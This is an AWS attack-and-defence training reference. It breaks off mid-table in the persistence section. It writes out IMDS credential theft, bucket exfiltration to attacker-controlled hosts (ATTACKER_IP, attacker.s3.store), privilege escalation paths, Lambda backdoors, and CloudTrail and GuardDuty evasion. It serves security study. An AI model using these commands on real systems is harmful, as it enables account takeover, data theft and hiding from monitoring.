AWS Security Ultimate Deep Dive
AWS Security Ultimate Deep Dive
Training Reference — CIPHER Security Knowledge Base
Classification: Authorized security research and training material Last Updated: 2026-03-14 Sources: hackingthe.cloud, AWS documentation, Stratus Red Team, Pacu, ScoutSuite, PMapper, policy_sentry, CloudTracker, and community research
Table of Contents
- IAM Security
- S3 Security
- EC2 Security
- Lambda Security
- CloudTrail & Detection Evasion
- VPC & Network Security
- Organizations, SCPs & Cross-Account
- ECS/EKS & Container Security
- Secrets Manager & SSM Parameter Store
- KMS
- GuardDuty
- Cognito
- Enumeration Techniques
- Post-Exploitation & Persistence
- Tooling Arsenal
- Stratus Red Team Attack Catalog
- Detection Engineering
1. IAM Security
1.1 IAM Key Identifiers
AWS access key prefixes encode credential type:
| Prefix | Type | Notes |
|---|---|---|
AKIA |
Long-lived access key | Associated with IAM users, no expiration |
ASIA |
Temporary STS key | Generated via STS, includes session token, expires |
AIDA |
IAM user unique ID | Identifies user principals |
AROA |
IAM role unique ID | Identifies role principals |
ANPA |
Managed policy | Policy identifier |
Account ID extraction from access key (no API call needed):
import base64, binascii
def AWSAccount_from_AWSKeyID(AWSKeyID):
trimmed = AWSKeyID[4:] # Remove AKIA/ASIA prefix
x = base64.b32decode(trimmed)
y = x[0:6]
z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
e = (z & mask) >> 7
return e
Alternatively, sts:GetAccessKeyInfo returns the account ID and only logs to the caller's CloudTrail, not the target's.
1.2 Privilege Escalation — All Known Paths
Direct Policy Modification
| Permission | Technique | ATT&CK |
|---|---|---|
iam:AttachUserPolicy |
Attach AdministratorAccess to controlled user |
T1098.001 |
iam:AttachGroupPolicy |
Attach managed policy to group containing controlled user | T1098.001 |
iam:AttachRolePolicy |
Attach managed policy to assumable role | T1098.001 |
iam:PutUserPolicy |
Create inline admin policy on controlled user | T1098.001 |
iam:PutGroupPolicy |
Create inline admin policy on controlled group | T1098.001 |
iam:PutRolePolicy |
Create inline admin policy on assumable role | T1098.001 |
iam:CreatePolicyVersion |
Create new version of attached policy with admin perms | T1098.001 |
iam:SetDefaultPolicyVersion |
Revert to previous policy version with greater access | T1098.001 |
Permissions Boundary Manipulation
| Permission | Technique |
|---|---|
iam:DeleteRolePermissionsBoundary |
Remove restrictive boundary, expanding effective perms |
iam:DeleteUserPermissionsBoundary |
Same for users |
iam:PutRolePermissionsBoundary |
Replace with less restrictive boundary |
iam:PutUserPermissionsBoundary |
Same for users |
Deny Policy Removal
| Permission | Technique |
|---|---|
iam:DeleteRolePolicy |
Remove inline deny policies restricting broader access |
iam:DeleteUserPolicy |
Same for users |
iam:DetachRolePolicy |
Remove managed deny policies |
iam:DetachUserPolicy |
Same for users |
Credential Creation
| Permission | Technique |
|---|---|
iam:CreateAccessKey |
Generate keys for higher-privileged users |
iam:CreateLoginProfile |
Set console password on privileged users |
iam:UpdateLoginProfile |
Change console password for privileged users |
iam:AddUserToGroup |
Join privileged groups |
Role Assumption Manipulation
| Permission | Technique |
|---|---|
iam:UpdateAssumeRolePolicy |
Modify trust policy to allow attacker-controlled principals |
Service-Chained Escalation (iam:PassRole + Service)
These all require iam:PassRole combined with the service-specific permission:
| Combo | Technique |
|---|---|
+ ec2:RunInstances |
Launch instance with elevated role; exfiltrate creds via user-data or IMDS |
+ ecs:RunTask |
Deploy Fargate task with privileged role; override container command |
+ ecs:StartTask + ecs:RegisterContainerInstance |
Register compromised instance, start tasks with command overrides |
+ lambda:CreateFunction + lambda:InvokeFunction |
Create function with elevated role, invoke to use its permissions |
+ lambda:CreateFunction + lambda:CreateEventSourceMapping |
Create function tied to DynamoDB stream; trigger via dynamodb:PutItem |
+ lambda:CreateFunction + lambda:AddPermission |
Create cross-account invoke permissions on privileged functions |
+ cloudformation:CreateStack |
Deploy stack assuming elevated service role |
+ codestar:CreateProject |
Generate CodeStar project with privileged role |
+ glue:CreateDevEndpoint |
Create dev endpoint with elevated role; SSH access for cred retrieval |
+ glue:CreateJob / + glue:UpdateJob |
Create/modify Glue jobs with privileged roles; trigger via glue:StartJobRun |
+ datapipeline:CreatePipeline + PutPipelineDefinition + ActivatePipeline |
Define pipeline assuming different role |
+ autoscaling:CreateLaunchConfiguration + CreateAutoScalingGroup |
Build launch config with elevated role |
+ ec2:CreateLaunchTemplate + autoscaling:CreateAutoScalingGroup |
Launch template with privileged role via ASG |
+ bedrock-agentcore:CreateCodeInterpreter + InvokeCodeInterpreter |
Execute arbitrary code under admin role |
Lambda-Specific Escalation
| Permission | Technique |
|---|---|
lambda:UpdateFunctionCode |
Modify existing function code to run attacker logic under function's role |
lambda:UpdateFunctionConfiguration |
Add malicious layers that override libraries and execute code |
glue:UpdateDevEndpoint |
Update SSH keys on existing Glue endpoints |
CodeStar Escalation
| Permission | Technique |
|---|---|
codestar:CreateProject + codestar:AssociateTeamMember |
Create project, assign attacker as Owner for enum permissions |
Key principle: Most service-based escalations require pre-existing roles assumable by those services. The attacker needs both iam:PassRole and the service-specific create/modify permissions.
1.3 Permission Boundaries
Permission boundaries set the maximum permissions an identity-based policy can grant to an IAM entity (user or role).
Effective permissions formula:
Effective = Identity-based policies ∩ Permissions boundary
With SCPs and session policies:
Effective = SCP ∩ Permissions boundary ∩ Identity-based policies ∩ Session policies
Critical interactions:
- Boundaries limit but do NOT grant permissions
- Explicit deny in any policy overrides allow
- Resource-based policies granting to IAM user ARN bypass implicit deny in boundaries (same account)
- Resource-based policies granting to role ARN are limited by boundary
- Resource-based policies granting to role session ARN bypass boundary
- Service-linked roles are NOT restricted by boundaries
Delegation pattern for boundary enforcement:
- Create boundary policy (e.g.,
XCompanyBoundaries) limiting max permissions - Create delegated admin boundary (e.g.,
DelegatedUserBoundary) with condition:{ "Condition": { "StringEquals": { "iam:PermissionsBoundary": "arn:aws:iam::ACCOUNT:policy/XCompanyBoundaries" } } } - This forces delegated admins to always attach the boundary when creating users/roles
- Include deny statements preventing boundary policy modification and removal
Security warning: Never use NotPrincipal with Deny in resource policies when principals have boundaries — it always denies. Use ArnNotEquals condition with aws:PrincipalArn instead.
1.4 Using Stolen IAM Credentials
Configuration:
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=... # Only for ASIA (temp) credentials
export AWS_REGION=us-east-1
Validation (standard):
aws sts get-caller-identity
Validation (stealthy — no CloudTrail logging):
aws sqs list-queues # Error reveals ARN, not logged in CloudTrail
Other stealthy whoami alternatives:
sqs:ListQueues— not in SQS CloudTrail documentationpinpoint-sms-voice:SendVoiceMessage— no CloudTrail loggingtimestream-query:DescribeEndpoints— no CloudTrail logging
OPSEC considerations:
- Kali/Parrot/Pentoo user agents trigger GuardDuty
PenTestfindings - EC2 instance creds used outside AWS trigger
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS - Use VPC Endpoints (SneakyEndpoints tool) to avoid instance credential exfiltration alerts
- Set
AWS_STS_REGIONAL_ENDPOINTS=regionalfor regional STS endpoints - Enumerate service-linked roles to discover which services are in use
1.5 IAM Eventual Consistency Exploitation
AWS IAM is eventually consistent with ~4-second propagation delay. During containment:
- Control plane reflects changes instantly
- Authorization enforcement has ~4 second delay
- Attackers can detect deny-all policy attachment and remove it before enforcement propagates
Vulnerable operations: Policy attachment/detachment, role assumption changes, role creation/deletion, login profile changes, group membership, permission boundary changes.
Defense: SCPs operate outside IAM's propagation model — attackers cannot modify them, making SCPs the recommended containment mechanism.
2. S3 Security
2.1 Bucket Policies & ACLs
Public access via misconfigured policies:
# Unauthenticated access
aws --no-sign-request s3 ls s3://$BUCKET
aws --no-sign-request s3 cp s3://$BUCKET/$FILE .
aws --no-sign-request s3 cp malicious.txt s3://$BUCKET/
S3 static website endpoint may reveal bucket listings when standard endpoints don't.
2.2 ACL Persistence (T1098)
With s3:PutBucketAcl / s3:PutObjectAcl permissions, attackers grant access to:
- Specific attacker-controlled AWS accounts
AUTHENTICATED USERS(any IAM principal in any AWS account)ANY USER(anonymous unauthenticated access)
Defenses:
- Bucket Public Access Block prevents anonymous ACL access (not cross-account)
- As of April 2023, new buckets default to Object Ownership settings that disable per-object ACLs
High-value S3 targets: Terraform state files, CloudFormation templates, SSM scripts, application source code, database backups.
2.3 S3 Replication for Data Exfiltration
Configure replication to copy all objects (current and future) to attacker-controlled bucket:
Requirements:
- Both buckets need versioning enabled
- Replication IAM role with trust for
s3.amazonaws.comandbatchoperations.s3.amazonaws.com - Destination bucket policy allowing source account's replication role
Detection indicators:
PutBucketReplicationCloudTrail eventsJobCreatedevents (S3 Batch Operations replicating all existing objects)- KMS
Decrypt/Encryptevents withs3-replicationprefix principals - Unexpected
PutBucketVersioningevents
2.4 S3 Streaming Copy (Cross-Account Exfiltration)
Pipe GetObject output directly to PutObject on attacker bucket:
aws s3 cp --profile victim s3://victim_bucket/file.txt - | \
aws s3 cp --profile attacker - s3://attacker_bucket/file.txt
Detection asymmetry: GetObject logs in victim's CloudTrail (if data events enabled, which is rare), PutObject logs only in attacker's CloudTrail.
Mitigation: VPC Endpoint policies denying cross-organizational requests; aws:PrincipalOrgID condition.
2.5 S3 Server Access Log Exploitation
Exfiltrate data through deliberately failed S3 requests:
- Enable server access logging on attacker bucket, directing logs to attacker logging bucket
- Attempt
GetObjectrequests with exfiltration data encoded in the S3 key (up to 1024 bytes) - Even 403 AccessDenied responses log the requested key to the logging bucket
- Additional data can be carried in User-Agent headers
Constraints: 10-120 minute log delivery delay; logs not guaranteed in order; VPC endpoint policies can block.
2.6 S3 Account ID Enumeration
Use s3:ResourceAccount policy condition with wildcard support to enumerate account IDs:
pip install s3-account-search
s3-account-search arn:aws:iam::ACCOUNT:role/s3-searcher BUCKET_NAME
2.7 CloudFront/DNS Takeover via Deleted S3 Buckets
Orphaned CloudFront distributions or DNS records pointing to deleted S3 buckets can be claimed:
- Create bucket matching the deleted one
- Serve malicious content through legitimate-appearing domain
Mitigation: Always delete DNS records first; use OWASP domain-protect for automated discovery.
3. EC2 Security
3.1 Instance Metadata Service (IMDS)
Endpoint: http://169.254.169.254/latest/meta-data/ (IPv4) or http://[fd00:ec2::254]/latest/meta-data/ (IPv6, Nitro only)
IMDSv1 — Simple GET requests, no authentication:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
IMDSv2 — Session-based with PUT request:
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/
IMDSv2 security layers:
- PUT required for token acquisition (blocks most SSRF — applications rarely forward PUT)
X-Forwarded-Forheader blocks token acquisition (prevents reverse proxy abuse)- TTL=1 on token packets (Docker bridge mode containers cannot reach IMDS)
3.2 SSRF to IMDS Credential Theft (T1552.005)
Attack chain for IMDSv1:
- Exploit SSRF/XXE vulnerability in application on EC2
- Request
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Get role name from response
- Request
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME - Extract
AccessKeyId,SecretAccessKey,Token
Real-world: Capital One breach (2019), Mandiant findings of automated IMDS credential harvesting.
3.3 User Data Exploitation
User data accessible at http://169.254.169.254/latest/user-data/ — frequently contains:
- Hardcoded passwords and encryption keys
- API tokens and database credentials
- Configuration data revealing infrastructure
Via API (requires ec2:DescribeInstanceAttribute):
aws ec2 describe-instance-attribute --instance-id i-xxx --attribute userData
Output is base64 encoded.
3.4 Privilege Escalation Through User Data Modification
Requirements: ec2:ModifyInstanceAttribute (plus ec2:StopInstances, ec2:StartInstances)
- Create payload script (use
#cloud-boothookfor execution on every boot) - Base64 encode
- Stop instance
- Modify user data:
aws ec2 modify-instance-attribute --instance-id=i-xxx --attribute userData --value file://payload.b64 - Start instance — payload executes as root/System
Indirect variant: If user data downloads scripts from S3, compromising the S3 bucket achieves code execution without modifying the instance attribute.
3.5 Security Group Connection Tracking
Security groups are stateful with connection tracking:
- Established connections persist even after security group rule changes
- A reverse shell established before restrictive SG application remains functional
- New outbound connections fail under restrictive rules
Mitigation: NACLs sever connections but affect entire subnets.
3.6 Running Commands via SSM (No SSH Required)
Send Command (default: not logged to CloudTrail):
aws ssm send-command \
--instance-ids "i-xxx" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami"
Retrieve output:
aws ssm list-command-invocations --command-id "GUID" --details
Alternative SSM documents (when AWS-RunShellScript is blocked):
AWS-RunSaltState— Downloads YAML state filesAWS-ApplyAnsiblePlaybooks— Executes Ansible from GitHub/S3AWS-RunRemoteScript— Executes scripts from S3/GitHubAWS-RunDocument— Executes custom SSM documents (policy bypass)AWS-InstallApplication— Downloads and installs MSI files
Session Manager (interactive shell):
aws ssm start-session --target i-xxx
EC2StepShell: Provides shell-like interactivity when direct script execution is restricted.
3.7 SSM Communications Interception
With EC2 access or stolen IAM credentials:
Message interception: Frequently poll SSM services to intercept SendCommand messages before the legitimate agent. PoC: ssm-send-command-interception.py
Session interception: Create own WebSocket control channel to intercept incoming sessions. Captures terminal data, command execution, credentials. PoC: ssm-session-interception.py
3.8 Public EBS Snapshot Looting
# List all public snapshots
aws ec2 describe-snapshots --restorable-by-user-ids all
# Filter by target account
aws ec2 describe-snapshots --restorable-by-user-ids all --owner-ids ACCOUNT_ID
Process: Create volume from snapshot → launch EC2 in same AZ → attach volume → mount → search for secrets.
Detection: CloudTrail logs ec2:ModifySnapshotAttribute with createVolumePermission set to "all".
3.9 Public AMI Secret Discovery
aws ec2 describe-images --owners ACCOUNT_ID --include-deprecated --region REGION
Launch instance from public AMI, search for:
find / -name "credentials" -type f
find / -name "id_rsa" -type f
grep -ri 'password\|secret\|key' /home/
Automated: TruffleHog, Gitleaks, CloudShovel.
4. Lambda Security
4.1 Credential Theft from Lambda Functions
No GuardDuty alert for stolen Lambda credentials — making this especially attractive.
Environment variable extraction:
- Direct: Read
/proc/self/environ - WAF bypass: Read
/proc/1/environthrough/proc/20/environ
Runtime event data via internal API:
http://169.254.100.1:9001/2018-06-01/runtime/invocation/next
AWS_LAMBDA_RUNTIME_API env var contains the IP and port.
4.2 Lambda Persistence
Python runtime backdoor:
- Obtain
/var/runtime/bootstrap.py - Inject exfiltration code
- Host modified bootstrap on attacker server
- One-liner: download backdoor, terminate current event via Runtime API, execute malicious bootstrap
Ruby runtime backdoor:
- Modify
/var/runtime/lib/runtime.rb - Create symlinks from
/var/runtime/libto/tmp - Download and swap runtime
Persistence limitation: Lambda functions going "cold" after 5-15 minutes of inactivity lose persistence.
Exfiltration: Nginx server with custom log formatting to capture POST payloads.
4.3 Lambda Layer Backdoors (T1546)
Via lambda:UpdateFunctionConfiguration:
- Add malicious Lambda layers that override standard libraries
- Layer code executes with function's IAM role permissions
- Layers are shared resources — one poisoned layer affects all functions using it
4.4 Lambda Resource Policy Backdoor
Via lambda:AddPermission:
- Add cross-account invoke permissions
- Allows attacker's account to invoke function with its IAM role
5. CloudTrail & Detection Evasion
5.1 API Calls That Don't Log to CloudTrail
These operations can be performed without CloudTrail entries:
| Service | API Call | Use Case |
|---|---|---|
| SQS | ListQueues |
Stealthy whoami (error reveals ARN) |
| Pinpoint SMS Voice | SendVoiceMessage |
Stealthy whoami |
| Timestream Query | DescribeEndpoints |
Stealthy whoami |
| SSM | SendCommand (by default) |
Command execution |
5.2 CloudTrail Evasion Techniques
Disable logging:
cloudtrail:StopLogging— Stop trail entirelycloudtrail:DeleteTrail— Delete trailcloudtrail:UpdateTrail— Redirect logs to attacker bucket
Event selector manipulation:
cloudtrail:PutEventSelectors— Exclude specific events from logging- Set management event selectors to read-only (exclude write events)
S3 lifecycle rule on CloudTrail bucket:
- Apply lifecycle policy to immediately expire/delete log objects
DNS query log deletion:
- Delete Route53 Resolver query log configurations
VPC Flow Log removal:
ec2:DeleteFlowLogs— Remove flow log configurations
5.3 Credential Theft Without Detection
VPC Endpoints: Route stolen EC2 instance credentials through VPC Endpoints to avoid InstanceCredentialExfiltration.InsideAWS GuardDuty finding.
SneakyEndpoints: Terraform tool automating VPC Endpoint infrastructure setup with private subnet EC2 instance.
Important caveat (October 2024+): GuardDuty began detecting VPC Endpoint bypass attempts for services supporting CloudTrail network activity events. Initially covered EC2, KMS, Secrets Manager, CloudTrail; expanded to 26 services by mid-2025.
Same-account usage: Using stolen creds from one EC2 instance to access other instances within the same account avoids detection.
5.4 User-Agent Modification
GuardDuty detects pentest distributions (Kali, Parrot, Pentoo) via User-Agent string.
Bypass: Proxy AWS CLI through Burp Suite with match-and-replace rule:
export HTTPS_PROXY=http://127.0.0.1:8080
Replace ^User-Agent.*$ with legitimate User-Agent.
AWS_EXECUTION_ENV: Environment variable that appends to User-Agent header — useful for customizing API call identification.
5.5 Tor Usage Evasion
GuardDuty triggers UnauthorizedAccess:EC2/TorClient by comparing connections against public Tor node list.
Bypass: Use Tor Bridges with obfs4 pluggable transport:
UseBridges 1
ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy
Bridge obfs4 IP:PORT FINGERPRINT cert=... iat-mode=0
5.6 AWS CLI as Living-off-the-Land Tool
Use --endpoint-url flag to redirect AWS CLI to attacker infrastructure (MinIO, etc.):
aws s3 ls --endpoint-url https://attacker.s3.store
Blends with legitimate AWS CLI usage; avoids detection of curl/wget.
6. VPC & Network Security
6.1 Network Firewall Egress Filtering Bypass
AWS Network Firewall inspects SNI (HTTPS) and Host headers (HTTP) but does not perform DNS lookups to verify destination IP.
SNI spoofing (HTTPS):
curl -ik https://allowed-domain.com --resolve 'allowed-domain.com:443:ATTACKER_IP'
Host header manipulation (HTTP):
curl -H "Host: allowed-domain.com" http://ATTACKER_IP
Mitigation limitations: TLS inspection requires deploying custom CA on every host; HTTP often whitelisted for updates.
6.2 Security Groups vs NACLs
| Feature | Security Groups | NACLs |
|---|---|---|
| Statefulness | Stateful (connection tracking) | Stateless |
| Scope | Per-ENI | Per-subnet |
| Rule type | Allow only | Allow and Deny |
| Connection persistence | Existing connections survive rule changes | Rule changes immediately effective |
6.3 VPC Flow Logs
Capture IP traffic metadata (not content). Available at VPC, subnet, or ENI level.
Attacker considerations:
- Flow logs don't capture DNS queries, DHCP traffic, or IMDS traffic
- Not real-time (aggregation period delay)
- Can be deleted with
ec2:DeleteFlowLogs
6.4 VPC Endpoint Security
Gateway endpoints (S3, DynamoDB): Route table-based, no security group support. Interface endpoints: ENI-based, support security groups and endpoint policies.
Defensive use: Endpoint policies can restrict which resources/accounts are accessible, creating data perimeters.
Offensive use: SneakyEndpoints creates VPC Endpoints to avoid credential exfiltration detection.
7. Organizations, SCPs & Cross-Account
7.1 Service Control Policies (SCPs)
SCPs establish permission guardrails — they define maximum permissions but do NOT grant permissions.
Effective permissions:
Effective = SCP ∩ RCP ∩ Identity-based policies ∩ Resource-based policies
What SCPs affect:
- IAM users and roles in member accounts
- Member account root user
What SCPs DO NOT affect:
- Management account (any actions/users/roles)
- Service-linked roles
- Users/roles from accounts outside the organization
Strategies:
| Strategy | Approach | Use Case |
|---|---|---|
| Deny list | Deny specific dangerous actions; allow all else | Block specific operations |
| Allow list | Allow only listed services; deny all else | Restricted environments |
Default policy: FullAWSAccess (Allow * on *) — automatically attached. Removing without replacement locks out all actions.
Inheritance: Account has only permissions allowed by EVERY parent (root → OU → account).
Critical SCP for cost control — deny expensive operations:
route53domains:RegisterDomain,route53domains:RenewDomainec2:PurchaseReservedInstancesOfferingrds:PurchaseReservedDBInstancesOfferingdynamodb:PurchaseReservedCapacityOfferingss3:PutObjectRetention,s3:PutObjectLegalHoldglacier:InitiateVaultLock,glacier:CompleteVaultLockbedrock:CreateProvisionedModelThroughput- Shield, Marketplace, Outposts operations (~35 total)
7.2 SCP Bypass Considerations
Management account exemption: If attackers compromise the management account, SCPs provide zero protection. This is the single largest architectural risk in AWS Organizations.
Service-linked roles: Cannot be restricted by SCPs. Service-linked roles enable AWS service integration and are exempt from SCP controls.
Cross-organizational access: SCPs don't affect external account principals accessing resources via resource-based policies.
7.3 OrganizationAccountAccessRole
When accounts are created through Organizations:
- Default role
OrganizationAccountAccessRoleis provisioned in each member account - Has
AdministratorAccesspolicy attached - Trust policy allows assumption from management account root
Attack: Compromise management account → assume OrganizationAccountAccessRole in every member account → full admin access across entire organization.
Invited accounts (not created through Organizations) do NOT automatically get this role.
7.4 Cross-Account Role Assumption
Misconfigured trust policies with wildcard principals:
{
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": "sts:AssumeRole"
}
Critical misconception: "Principal": {"AWS": "*"} applies to EVERY AWS account globally, not just the same account/organization.
Common subtle misconfiguration — inverted logic:
{
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": "sts:AssumeRole",
"Condition": {
"ArnNotEquals": {
"aws:PrincipalArn": "arn:aws:iam::555555555555:role/intent-allow-role"
}
}
}
Developer intended deny-all-but-one, created allow-all-but-one.
7.5 OIDC Federation Abuse
GitLab OIDC misconfiguration: If trust policy lacks sub field condition, anyone with a gitlab.com account can assume the role.
Vulnerable trust policy:
{
"Condition": {
"StringEquals": {
"gitlab.com:aud": ["https://gitlab.com"]
}
}
}
Missing: condition on gitlab.com:sub to restrict to specific group/project.
Exploitation:
- Create gitlab.com account and project
- Generate OIDC token via
.gitlab-ci.ymlwithid_tokens - Extract JWT from CI job logs
aws sts assume-role-with-web-identity --web-identity-token JWT
Same pattern applies to GitHub Actions OIDC and Terraform Cloud OIDC.
8. ECS/EKS & Container Security
8.1 ECR Container Registry Abuse (T1525)
Image poisoning attack chain:
- Gain initial access (SSRF, leaked creds, misconfig)
- Pull latest Docker image from ECR
- Inject malicious payload as new layer
- Push poisoned image back with
latesttag - Victims auto-pull and execute compromised image
Impact targets: Production servers, developer laptops, CI/CD pipelines.
Defenses:
- Enforce Docker image signing
- Deploy AppArmor/Seccomp security profiles
- Monitor ECR access via CloudTrail
- Container image scanning will NOT detect malicious payloads
8.2 Misconfigured ECR Resource Policies
Critical requirement: ecr:GetAuthorizationToken must come from identity-based policy; resource policies cannot grant it.
Download attack: Wildcard principal with ecr:BatchGetImage, ecr:GetDownloadURLForLayer → external parties can pull containers and inspect for secrets.
Upload attack: ecr:* with wildcard principal → push malicious containers executed by ECS/EKS/Lambda.
Detection: Prowler ecr_repositories_not_publicly_accessible check.
8.3 ECS Task Privilege Escalation
Via iam:PassRole + ecs:RunTask:
- Deploy Fargate tasks with privileged IAM roles
- Override container commands to retrieve credentials
- Access IMDS on EC2 launch type for additional creds
Via iam:PassRole + ecs:StartTask + ecs:RegisterContainerInstance:
- Register compromised instances
- Start privileged tasks with command overrides
8.4 EKS Considerations
- IRSA (IAM Roles for Service Accounts) token projection via OIDC
- Pod identity token at
169.254.170.23(EKS Pod Identity) - Node IAM role accessible via IMDS from any pod on the node
aws-authConfigMap controls IAM-to-K8s RBAC mapping
9. Secrets Manager & SSM Parameter Store
9.1 Secrets Manager Credential Access
Batch retrieval (Stratus Red Team: aws.credential-access.secretsmanager-batch-retrieve-secrets):
secretsmanager:BatchGetSecretValueretrieves multiple secrets in one call- Highly suspicious — triggers alerts on volume
Individual retrieval:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id SECRET_NAME
9.2 SSM Parameter Store
SecureString parameters (Stratus Red Team: aws.credential-access.ssm-retrieve-securestring-parameters):
aws ssm describe-parameters
aws ssm get-parameters --names PARAM_NAME --with-decryption
aws ssm get-parameters-by-path --path / --recursive --with-decryption
Requires ssm:GetParameter(s) and kms:Decrypt for SecureString parameters.
9.3 EC2 Password Data Retrieval
Stratus Red Team: aws.credential-access.ec2-get-password-data:
aws ec2 get-password-data --instance-id i-xxx
Returns encrypted Windows password; requires the instance's key pair private key to decrypt.
10. KMS
10.1 Key Policy Misconfiguration
KMS key policies control access independently of IAM policies. A misconfigured key policy with wildcard principal allows any AWS account to use the key.
10.2 Cross-Account Key Usage
If key policy grants usage to external account, that account can:
- Decrypt data encrypted with the key
- Re-encrypt data with their own key
- Use the key for envelope encryption
10.3 KMS in S3 Replication Exfiltration
During S3 replication:
- Source KMS key
Decryptpermission required for replication role - Destination KMS key
Encryptpermission for re-encryption - Detection: KMS events with
s3-replicationprefix principals referencing cross-account keys
10.4 Grant Abuse
kms:CreateGrant allows creating grants that delegate key usage to other principals without modifying the key policy. Grants can be used for:
- Temporary access delegation
- Cross-account access
- Persistence mechanism (grants persist until explicitly revoked)
11. GuardDuty
11.1 GuardDuty Detection Categories
| Category | Examples |
|---|---|
| Instance credential exfiltration | InstanceCredentialExfiltration.OutsideAWS, InsideAWS |
| Pentest distribution detection | User-Agent based (Kali, Parrot, Pentoo) |
| Tor client detection | Connection comparison against public Tor node list |
| Cryptomining | Unusual EC2 DNS/network patterns |
| IAM anomalies | Unusual API calls, impossible travel |
11.2 GuardDuty Evasion Techniques
Detector manipulation (requires guardduty:UpdateDetector):
- Disable detector entirely:
--no-enableflag - Remove data sources (S3, K8s logging)
- Increase finding frequency to 6-hour intervals
Trusted IP list manipulation (requires guardduty:CreateIPSet/UpdateIPSet):
- Add attacker IPs to trusted list
- Exempts those IPs from CloudTrail and VPC flow log alerts
- DNS findings are NOT exempt from trusted IP lists
CloudWatch Event disruption (requires events:PutRule/RemoveTargets):
- Disable event rules
- Modify patterns to filter out GuardDuty
- Remove alert targets
Suppression rules (requires guardduty:CreateFilter):
- Create filters that auto-archive matching findings
Publishing destination deletion (requires guardduty:DeletePublishingDestination):
- Remove alert destinations entirely
11.3 What GuardDuty Does NOT Detect
- Stolen Lambda credentials (no alert)
- SSM SendCommand execution (by default not logged)
- Many data plane operations
- Activity through Tor bridges (only detects connections to known Tor nodes)
12. Cognito
12.1 Unintended Self-Signup
If Cognito user pool doesn't enforce "Admin Only" signup:
# Find Client ID in web app source or decompiled mobile app
aws cognito-idp sign-up \
--client-id CLIENT_ID \
--username attacker \
--password P@ssw0rd! \
--user-attributes Name=email,Value=attacker@evil.com
Impact: Unauthorized account creation, application access, potential AWS credential exchange.
12.2 Identity Pool Excessive Privileges
After authenticating (or via unauthenticated access if enabled):
aws cognito-identity get-id \
--identity-pool-id POOL_ID \
--account-id ACCOUNT_ID \
--logins provider:token
aws cognito-identity get-credentials-for-identity \
--identity-id ID \
--logins provider:token
If associated IAM roles are overprivileged, these temporary credentials grant excessive AWS access: S3, DynamoDB, Lambda invocation, potential full account takeover.
12.3 Cognito User Enumeration Bypass
User pools may have user enumeration controls that can be bypassed — error messages differ between valid and invalid usernames.
13. Enumeration Techniques
13.1 Identity Discovery (Whoami)
| Method | Stealth | Notes |
|---|---|---|
sts:GetCallerIdentity |
Low (logs to CloudTrail) | Standard method, no perms needed |
sqs:ListQueues |
High (no CloudTrail) | Error reveals ARN |
pinpoint-sms-voice:SendVoiceMessage |
High (no CloudTrail) | Error reveals ARN |
timestream-query:DescribeEndpoints |
High (no CloudTrail) | Error reveals ARN |
Stealthy methods require the principal to LACK permissions for the API call (triggering informative error).
13.2 Account ID Discovery
| Method | Required Access |
|---|---|
| Access key decoding (base32) | None — offline operation |
sts:GetAccessKeyInfo |
Any valid AWS creds (logs to caller only) |
S3 bucket s3:ResourceAccount condition |
Valid creds + s3 access |
| Error message parsing | Varies |
13.3 Cross-Account IAM User/Role Enumeration
S3 bucket policy method: Apply denial policy to your bucket targeting suspected ARN. Successful policy application = principal exists.
AssumeRole policy method: Modify assume-role policy in your own account specifying target principal. Policy update confirms existence.
Tools: Quiet Riot (scalable enumeration), enumerate_iam_using_bucket_policy, pacu:iam_enum_roles
Console root email discovery: Login error responses differ between valid and invalid email addresses.
All cross-account enumeration uses YOUR CloudTrail, not the target's.
13.4 Permission Brute Force
Tool: enumerate-iam — executes only non-destructive operations (get/list calls):
./enumerate-iam.py \
--access-key $AWS_ACCESS_KEY_ID \
--secret-key $AWS_SECRET_ACCESS_KEY \
--session-token $AWS_SESSION_TOKEN
OPSEC warning: Extremely noisy. Generates substantial CloudTrail activity. Consider alternative enumeration first.
Update API coverage:
cd enumerate_iam && git clone aws-sdk-js
python generate_bruteforce_tests.py
13.5 Principal ARN from Unique ID
Create IAM role trust policy with unique ID as principal → save → refresh page → AWS normalizes ID to full ARN, revealing account ID, resource type, and path.
13.6 Service Discovery via AWS Backup
With backup:List*/backup:Describe*:
aws backup list-protected-resources # What's backed up
aws backup list-backup-plans # Backup schedules
aws backup get-backup-plan --backup-plan-id X # Plan details
Reveals: resource importance, tagging patterns, service breadth, retention strategies. Avoids service-specific enumeration API alerts.
13.7 Route53 DNS-Based API Hijacking
With route53:CreateHostedZone, route53:ChangeResourceRecordSets, acm-pca:IssueCertificate:
- Create private hosted zone for AWS API endpoints
- Insert A records pointing to attacker IP within VPC
- Issue certificate via ACM-PCA matching AWS API domain
- Intercept HTTPS calls — AWS SDKs do NOT have certificate pinning
14. Post-Exploitation & Persistence
14.1 IAM Persistence Methods
| Technique | Permissions Required | Detection |
|---|---|---|
| Create access keys | iam:CreateAccessKey |
CloudTrail: CreateAccessKey |
| Create login profile | iam:CreateLoginProfile |
CloudTrail: CreateLoginProfile |
| Modify role trust policy | iam:UpdateAssumeRolePolicy |
CloudTrail: UpdateAssumeRolePolicy |
| Add user to admin group | iam:AddUserToGroup |
CloudTrail: AddUserToGroup |
| Create admin user | iam:CreateUser + iam:AttachUserPolicy |
CloudTrail: CreateUser |
| Rogue OIDC provider | iam:CreateOpenIDConnectProvider |
CloudTrail: CreateOpenIDConnectProvider |
| IAM Roles Anywhere | CA registration + profile creation | CloudTrail: CreateTrustAnchor, CreateProfile |
| CodeBuild GitHub runner | iam:UpdateAssumeRolePolicy + CodeBuild perms |
